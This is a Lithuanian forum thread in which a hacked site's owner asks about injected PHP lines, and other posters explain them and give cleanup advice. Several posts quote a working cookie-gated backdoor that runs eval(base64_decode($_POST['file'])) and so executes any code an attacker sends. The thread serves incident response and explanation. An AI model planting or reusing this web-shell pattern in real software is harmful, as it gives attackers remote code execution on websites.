Ka daro toks kodas

<?php if(md5($_COOKIE['4248c1554ad67c0f'])=="1d5fe8341e17c8b1a6a63aa299dc78b3"){  exit; } ?>

arba toks:

<?php if(md5($_COOKIE['67a0d696718997a8'])=="797332a302902ed1253d8034cda73152"){ eval(base64_decode($_POST['file'])); exit; } ?>

Jama is cookiu info uzkoduoja su md5 ir tikrina ar sutampa.. Sejp nelb isivaizduoju kur galima naudot ta antra varianta.. Durniausia yra "eval" f-ja prie ko cia ji nedasunta..

<?php if(md5($_COOKIE['67a0d696718997a8'])=="797332a302902ed1253d8034cda73152"){ eval(base64_decode($_POST['file'])); exit; } ?>

Jeigu gerai pamenu eval turetu vykdyti koda esanti "$_POST['file']"

Cia kartai ne paliktas backdoor?

Man atrodo reiktu trinti sia eilute... na bet reikia ziureti visa koda....

aha cia tai variantas visai nepagalvojau kol nepasakei..

as kazkaip ir apie backdorus galvoju visokius.

nu ka toliau tikrinam kas grazaus gali but :)

Gal kas turit pasiulymu kur rast faila kuri jis cia vykdo ir t.t.

Gal buvo kokiu isilauzimu i tinklapi?

buvo, del to ir ieskau.

ir seip nesamoningi logai pareina

as kazkaip ir apie backdorus galvoju visokius.

 

 

nu ka toliau tikrinam kas grazaus gali but :)

 

Gal kas turit pasiulymu kur rast faila kuri jis cia vykdo ir t.t.

Cia vykdo ka jam perduoda POST metodu. Uzlenkti tinklapiui uztenka tu tavo eiluciu...

<?php if(md5($_COOKIE['67a0d696718997a8'])=="797332a302902ed1253d8034cda73152"){ eval(base64_decode($_POST['file'])); exit; } ?>

Bandyk trinti tokias eilutes.... O geriausia viska kur yra eval.

Tiesa eval daznai naudoja kai nori kad nuo temu nenutrintu autoriaus informacijos...

Jeigu nori atsiusk php faila supakaves(rar, zip) i az, paziuresiu kas per kodas...

EDIT:

Sita:

<?php if(md5($_COOKIE['67a0d696718997a8'])=="797332a302902ed1253d8034cda73152"){ eval(base64_decode($_POST['file'])); exit; } ?>

pakeisk i:

<?php if(md5($_COOKIE['67a0d696718997a8'])=="797332a302902ed1253d8034cda73152"){ echo'Error, f**k off'; exit; } ?>

uzlenktu tai dar gerai butu, cia virusu primeta.

anskciau mesdavo ifr tai dar px rast imanoma, o dabar ...

krc reik viska istrynt pakiest passwordus ir t.t

per phpremote jauciu dirba...

uzlenktu tai dar gerai butu, cia virusu primeta.

anskciau mesdavo ifr tai dar px rast imanoma, o dabar ...

krc reik viska istrynt pakiest passwordus ir t.t

per phpremote jauciu dirba...

tiesiog istrink tas eilutes kur yra su eval, ir nebegales php kodo vykdyti... kai viska gerai perziuresi ir istrinsi, tada pakeisk mysql... slaptazodzius.

kad cia viskas ismetyta, bienam faile radau tokia eilute... o fuuck tai koks tolkas rasyt...

kad cia viskas ismetyta, bienam faile radau tokia eilute... o fuuck tai koks tolkas rasyt...

Toks kad sekanti karta kai bandys ikisti kenksminga koda gaus pranesima "F**k off" ir liks nk nepeses :D

gerai butu issikoduot i kur kreipiasi, butu lengviau rast :V

<?php if(md5($_COOKIE['fbee528449990c9c'])=="3d58132386729c891f267ec4e76c07ec"){ eval(base64_decode($_POST['file'])); exit; } ?><?php if(md5($_COOKIE['baea74ee9b5225e8'])=="91e8ff1df2893d1d1eebabbc091a4fb2"){ eval(base64_decode($_POST['file'])); exit; } ?>

gerai butu issikoduot i kur kreipiasi, butu lengviau rast :V

<?php if(md5($_COOKIE['fbee528449990c9c'])=="3d58132386729c891f267ec4e76c07ec"){ eval(base64_decode($_POST['file'])); exit; } ?><?php if(md5($_COOKIE['baea74ee9b5225e8'])=="91e8ff1df2893d1d1eebabbc091a4fb2"){ eval(base64_decode($_POST['file'])); exit; } ?>

I niekur nesikreipia. Tiesiog uzsetina cooki ir tik su tokiu cookiu kuris yra uzsetintas "fbee528449990c9c" vardu ir turi lygia reiksme su "3d58132386729c891f267ec4e76c07ec" md5 hashu leidzia postinti ir vykdit php koda. Crezyman gera buda parode, tiesiog vietoj eval parasyk "###### off".

gerai butu issikoduot i kur kreipiasi, butu lengviau rast :V

<?php if(md5($_COOKIE['fbee528449990c9c'])=="3d58132386729c891f267ec4e76c07ec"){ eval(base64_decode($_POST['file'])); exit; } ?><?php if(md5($_COOKIE['baea74ee9b5225e8'])=="91e8ff1df2893d1d1eebabbc091a4fb2"){ eval(base64_decode($_POST['file'])); exit; } ?>

Tai "hakeris" kreipiasi į failus kuriuose yra šie php skriptukai ir perduoda kenksminga php kodą.

Gal padės suprasti šitas pavyzdukas:

<?php

 

$code = 'echo rand(1,100);';

 

eval( $code );

die;

?>

<?php

 

$code = 'echo rand(1,100);';

 

echo $code;

die;

?>

gerai butu issikoduot i kur kreipiasi, butu lengviau rast :V

<?php if(md5($_COOKIE['fbee528449990c9c'])=="3d58132386729c891f267ec4e76c07ec"){ eval(base64_decode($_POST['file'])); exit; } ?><?php if(md5($_COOKIE['baea74ee9b5225e8'])=="91e8ff1df2893d1d1eebabbc091a4fb2"){ eval(base64_decode($_POST['file'])); exit; } ?>

Kodas nesikreipia niekur, esmė tokia: jeigu yra užsetinti kukiai tokiais pavadinimais kaip kode, tada paleidžia eval(base64_decode($_POST['file']));

O šis dalykas įvykdo POST metodu perduoto kintamojo 'file' kodą.

Trumpai tariant kenksmingas kodas perduodamas kintamuoju 'file' POST metodu.

Kodas nesikreipia niekur, esmė tokia: jeigu yra užsetinti kukiai tokiais pavadinimais kaip kode, tada paleidžia eval(base64_decode($_POST['file']));

 

O šis dalykas įvykdo POST metodu perduoto kintamojo 'file' kodą.

 

Trumpai tariant kenksmingas kodas perduodamas kintamuoju 'file' POST metodu.

Siaip as preistai ta pati sakiau..

Bandžiau paprasčiau paaiškint, o be to, po tavęs parašęs, nebuvo teisus.

Tiksliau, buvo nevisiškai tikslus.

gal ir geriau, bet reik moket.

Dabar viskas ka darau tai isismu visus kenkejiskus kodus, pakieciu passwordus ir uzblokuoju ip adresus kurie bande jungtis per ssh, ftp ir t.t.